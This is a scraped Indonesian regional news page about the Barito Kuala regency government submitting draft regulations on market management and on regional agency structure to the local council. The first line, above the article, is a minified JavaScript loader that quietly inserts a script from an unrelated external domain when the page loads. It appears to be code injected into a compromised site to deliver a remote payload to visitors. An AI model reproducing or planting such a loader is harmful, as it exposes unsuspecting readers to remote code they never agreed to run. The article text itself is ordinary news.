(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Barito Kuala

Pemkab Batola Ajukan Raperda Pengelolaan Pasar dan Perangkat Daerah


KANALKALIMANTAN.COM, MARABAHAN – Pemerintah Kabupaten Barito Kuala (Pemkab Batola) melalui Wakil Bupati H Rahmadian Noor kembali mengajukan rancangan peraturan daerah (Raperda) ke DPRD Barito Kuala, Senin (31/01/2022).

Kali ini Raperda yang diajukan dalam Rapat Paripurna dipimpin Ketua DPRD Saleh dan Wakil Ketua Agung Purnomo, serta Hj Arpah, tentang Pengelolaan Pasar dan Perubahan atas Peraturan Daerah Nomor 16 Tahun 2016 tentang Pembentukan dan Susunan Perangkat Daerah.

Rahmadian Noor menyatakan, kondisi pasar saat ini masih perlu ditingkatkan dari segi pengelolaannya melalui pengembangan dan pemberdayaan agar berjalan sesuai perkembangan perekonomian.

Untuk meningkatkan pelayanan terhadap masyarakat serta menyesuaikan ketentuan perundang-undangan sebagaimana diatur dalam Perda Nomor 7 Tahun 2012 tentang Pengelolaan Pasar, perlu dilakukan pengaturan Kembali. Raperda Pengelolaan Pasar ini, sebutnya pengganti Peraturan Daerah Nomor 7 Tahun 2012 yang perlu mengakomodir beberapa peraturan, salah satunya yang sangat mendasar tentang Pengelolaan Barang Milik Negara/Daerah sebagaimana diubah dengan Peraturan Pemerintah Nomor 28 Tahun 2020, tentang Perubahan Peraturan Pemerintah Nomor 27 Tahun 2014 tentang Pengelolaan Barang Milik Negara/Daerah.

 

Baca juga : RSUD Abdul Aziz Gelar FKP Guna Maksimalkan Pelayanan

Dengan adanya payung hukum yang baru ini, menurut Rahmadian Noor bagi pengelola pasar diharapkan dapat mengoptimalkan fungsi pasar sehingga mampu memberikan manfaat yang sebesar-besarnya bagi daerah dan masyarakat. Sementara terkait Raperda Perubahan atas Peraturan Daerah Nomor 16 tentang Pembentukan dan Susunan Perangkat Daerah, Wakli Bupati yang juga mantan anggota DPRD Batola ini mengutarakan, organisasi dan kelembagaan Dinas Lingkungan Hidup masih berada pada tipe B.

“Di dalam Perda Batola Nomor 16 Tahun 2016 tentang Pembentukan dan Susunan Perangkat Daerah, tidak bisa optimal dalam pelaksanaan kegiatan urusan lingkungan hidup yang semakin kompleks dari waktu ke waktu sehingga seiring berjalannya waktu perlu dilakukan perubahan untuk dapat mewujudkan lingkungan hidup yang baik dan sehat, di samping diperlukan peningkatan kinerja, koordinasi dan akselerasi dari satuan perangkat daerah.

Mengingat urusan lingkungan hidup merupakan salah satu yang sangat penting bagi pemerintah dalam pembangunan ekonomi yang berkelanjutan dan berwawasan lingkungan yang berkeadilan,” jelasnya.

Disebutkan, dasar Undang-Undang Nomor 18 Tahun 2008 tentang Pengelolaan Sampah telah mewajibkan pemerintah kabupaten/kota melakukan pengelolaan sampah secara terpadu dan berwawasan lingkungan dan Peraturan Pemerintah Nomor 97 Tahun 2017 tentang Kebijakan Strategi Nasional menyatakan pengelolaan sampah rumah tangga dan sampah sejenis rumah tangga Indonesia bebas sampah tahun 2025. (Kanalkalimantan.com/rdy)

Reporter : rdy
Editor : kk


Desy Arfianty

Recent Posts

Jelang Misa Natal Semua Gereja di Banjarmasin Disterilisasi

KANALKALIMANTAN.COM, BANJARMASIN - Memastikan keamanan umat kristiani melaksanakan ibadat Natal 2024, kepolisian melakukan strelisasi gereja-gereja… Read More

3 jam ago

Menang di PTUN, KPU Banjarbaru Giliran Hadapi Gugatan di PN Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Absen pada sidang perdana di Pengadilan Negeri (PN) Banjarbaru, pihak tergugat Komisi… Read More

4 jam ago

Sambut Promo Natal & Promo Tahun Baru yang Lebih Seru Dengan Diskon Hingga Rp1,29 Juta!

KANALKALIMANTAN.COM - Setelah sukses menggebrak dengan promo spektakuler di HUT BRI ke-129, kini BRI kembali… Read More

6 jam ago

Pemkab Banjar Serahkan Bantuan Alsintan untuk Sejumlah Desa di Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Pemerintah Kabupaten Banjar menyerahkan bantuan alat dan mesin pertanian, di Mahligai Sultan… Read More

7 jam ago

Tak Kuat Menanjak, Truk Bermuatan Keramik Berjalan Mundur di Sungai Ulin

Tiga Mobil Pribadi dan Satu Motor Kena Imbas, Sopir Akui Rem Tak Normal Read More

7 jam ago

PTUN Banjarmasin Tolak Gugatan Atas KPU Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru memenuhi panggilan gugatan di Pengadilan Tata… Read More

8 jam ago

This website uses cookies.